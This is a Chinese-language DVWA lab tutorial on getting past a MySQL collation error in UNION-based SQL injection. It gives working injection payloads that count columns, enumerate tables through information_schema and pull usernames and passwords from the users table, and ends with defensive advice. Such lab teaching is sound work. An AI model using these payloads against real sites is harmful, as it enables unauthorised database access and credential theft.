DVWA靶场实战：手把手解决SQL注入中‘Illegal mix of collations‘的UNION报错
DVWA靶场实战：手把手解决SQL注入中'Illegal mix of collations'的UNION报错
在渗透测试的学习过程中，DVWA（Damn Vulnerable Web Application）无疑是最受欢迎的靶场之一。它模拟了各种常见的Web安全漏洞，为初学者提供了绝佳的实践环境。然而，在实际操作中，尤其是进行SQL注入练习时，我们经常会遇到一些看似简单却令人困惑的错误。其中，Illegal mix of collations for operation 'UNION'就是一个典型的例子。
这个错误通常发生在使用UNION查询时，当两个表的字段排序规则（collation）不一致时，数据库会拒绝执行查询。对于刚接触SQL注入的新手来说，这可能会成为一个不小的障碍。本文将带你深入理解这个问题的本质，并提供两种切实可行的解决方案，让你在DVWA靶场中顺利突破这个障碍。
1. 理解排序规则（Collation）及其重要性
排序规则（Collation）是数据库中用于定义字符比较和排序方式的规则集。它决定了字符串如何被比较、排序以及处理大小写敏感等问题。在MySQL中，每个字符集（如utf8、latin1等）都有对应的多种排序规则。
常见的utf8排序规则包括：
utf8_general_ci：不区分大小写的通用排序规则utf8_unicode_ci：基于Unicode标准的排序规则，更精确但性能稍低utf8_bin：二进制比较，区分大小写
在DVWA靶场中，users表通常使用utf8_unicode_ci排序规则，而information_schema系统表则默认使用utf8_general_ci。这种差异正是导致UNION查询失败的根本原因。
提示：
ci后缀表示"case insensitive"（不区分大小写），而bin表示二进制比较（区分大小写）
2. 诊断问题：如何确认排序规则不匹配
当你在DVWA的SQL注入模块中执行类似以下payload时遇到错误：
' union select table_schema,table_name from information_schema.tables where table_schema='dvwa'#首先需要确认的是两边字段的排序规则是否一致。以下是诊断步骤：
2.1 查询users表的排序规则
SHOW CREATE TABLE users;执行后会显示类似如下的结果：
CREATE TABLE `users` ( `user_id` int(11) NOT NULL AUTO_INCREMENT, `first_name` varchar(15) COLLATE utf8_unicode_ci DEFAULT NULL, `last_name` varchar(15) COLLATE utf8_unicode_ci DEFAULT NULL, ... ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci从这里可以看到first_name和last_name字段使用的是utf8_unicode_ci排序规则。
2.2 查询information_schema.tables的排序规则
SHOW CREATE TABLE information_schema.tables;由于information_schema是系统数据库，你可能无法直接查看其创建语句。但可以通过以下方式确认：
SHOW COLLATION WHERE Charset = 'utf8';这会列出所有utf8字符集对应的排序规则。默认情况下，information_schema中的表使用utf8_general_ci。
3. 解决方案一：修改靶场表结构
最直接的解决方案是将users表中的相关字段排序规则改为与information_schema一致。这种方法适合在靶场环境中使用，但不建议在生产环境中随意修改表结构。
3.1 修改字段排序规则
执行以下SQL命令：
ALTER TABLE users MODIFY first_name varchar(15) CHARACTER SET utf8 COLLATE utf8_general_ci; ALTER TABLE users MODIFY last_name varchar(15) CHARACTER SET utf8 COLLATE utf8_general_ci;3.2 验证修改结果
再次执行SHOW CREATE TABLE users;确认修改已生效。然后重新尝试之前的UNION注入payload，应该可以正常执行了。
4. 解决方案二：调整注入Payload
如果你没有权限修改表结构，或者希望在保持靶场原始状态的情况下解决问题，可以调整注入Payload使其兼容不同的排序规则。
4.1 使用CONVERT或CAST函数
' union select CONVERT(table_schema USING utf8) COLLATE utf8_unicode_ci, CONVERT(table_name USING utf8) COLLATE utf8_unicode_ci from information_schema.tables where table_schema='dvwa'#这个payload将information_schema中的字段转换为与users表相同的排序规则。
4.2 使用二进制比较
另一种方法是强制使用二进制比较：
' union select BINARY(table_schema), BINARY(table_name) from information_schema.tables where table_schema='dvwa'#这种方法虽然能解决排序规则冲突，但会导致比较区分大小写。
5. 实战案例：完整注入流程
让我们通过一个完整的例子来演示如何在实际注入中处理排序规则问题。
5.1 初始探测
首先，我们确定注入点并测试字段数：
' order by 2#确认有2个字段后，尝试UNION查询：
' union select 1,2#如果遇到排序规则错误，我们进入诊断阶段。
5.2 诊断排序规则
' and 1=2 union select @@character_set_database, @@collation_database#这会返回当前数据库的字符集和排序规则。
5.3 调整Payload
根据诊断结果调整查询：
' union select CONVERT(table_name USING utf8) COLLATE utf8_unicode_ci, CONVERT(table_type USING utf8) COLLATE utf8_unicode_ci from information_schema.tables where table_schema=database()#5.4 获取敏感数据
最后，我们可以获取用户数据：
' union select CONVERT(user USING utf8) COLLATE utf8_unicode_ci, CONVERT(password USING utf8) COLLATE utf8_unicode_ci from users#6. 预防与最佳实践
虽然本文主要解决靶场环境中的问题，但了解如何预防这类问题对开发安全的应用程序也很重要：
- 数据库设计一致性：确保整个应用使用统一的字符集和排序规则
- 参数化查询：始终使用预处理语句防止SQL注入
- 错误处理：避免在生产环境中显示详细的数据库错误信息
- 权限控制：限制数据库用户的权限，避免不必要的修改操作
在DVWA这样的学习环境中遇到Illegal mix of collations错误实际上是一个很好的学习机会。它不仅让你更深入地理解了SQL注入技术，还让你对MySQL的排序规则有了更清晰的认识。在实际渗透测试中，这种对细节的关注往往能帮助你发现和利用更复杂的漏洞。